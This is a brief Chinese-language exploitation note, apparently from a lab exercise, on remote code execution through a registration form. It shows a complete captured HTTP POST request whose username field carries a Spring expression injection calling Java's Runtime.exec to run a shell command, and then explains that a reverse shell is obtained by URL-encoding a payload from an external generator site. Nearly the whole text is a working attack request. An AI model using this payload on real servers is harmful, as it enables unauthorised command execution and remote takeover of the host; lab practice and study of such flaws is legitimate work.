RCE、反弹shell
打开是如下注册页面
在注册时抓包并修改数据
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.134.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Origin: http://192.168.134.132:8080
Connection: close
Referer: http://192.168.134.132:8080/users
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
反弹shell
http://www.jackson-t.ca/runtime-exec-payloads.html
在上述网站生成payload之后,做一下url编码再发送